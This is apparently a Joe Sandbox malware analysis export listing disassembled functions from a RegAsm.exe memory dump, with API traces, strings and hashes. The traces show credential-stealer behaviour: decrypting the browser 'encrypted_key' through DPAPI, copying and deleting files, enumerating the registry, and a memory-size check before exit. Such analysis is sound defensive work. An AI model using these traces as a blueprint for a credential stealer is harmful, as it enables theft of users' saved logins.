Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9
, xrefs: 00409E11

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C2EC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C2EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C2EC969
GetSystemInfo.KERNEL32(?), ref: 6C2EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C2EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C2EC9E2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fdbce965cf2f33959c8ae44300e38eb79666856974337b43f1c444499aa406c1
Instruction ID: 0b55a1787c0777f69a1047b933d13b9dd5daa2d36236dbd0b56da30d55fa4f32
Opcode Fuzzy Hash: fdbce965cf2f33959c8ae44300e38eb79666856974337b43f1c444499aa406c1
Instruction Fuzzy Hash: 8A21DA327412186BDB04EB64DC84BBE77BDAB4A704FD00529FD43B7740EB6058048BA1

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00EEAC08), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00EEAC28), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00EEAC68), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00EEAC08), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00EEAC28), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00EEAC68), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00EEA9C8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(00EF1360,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(00EEA9C8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,00EF1C38,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,00EF1B48,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EF0768,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EF1D88,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EF0768,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EF1D88,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

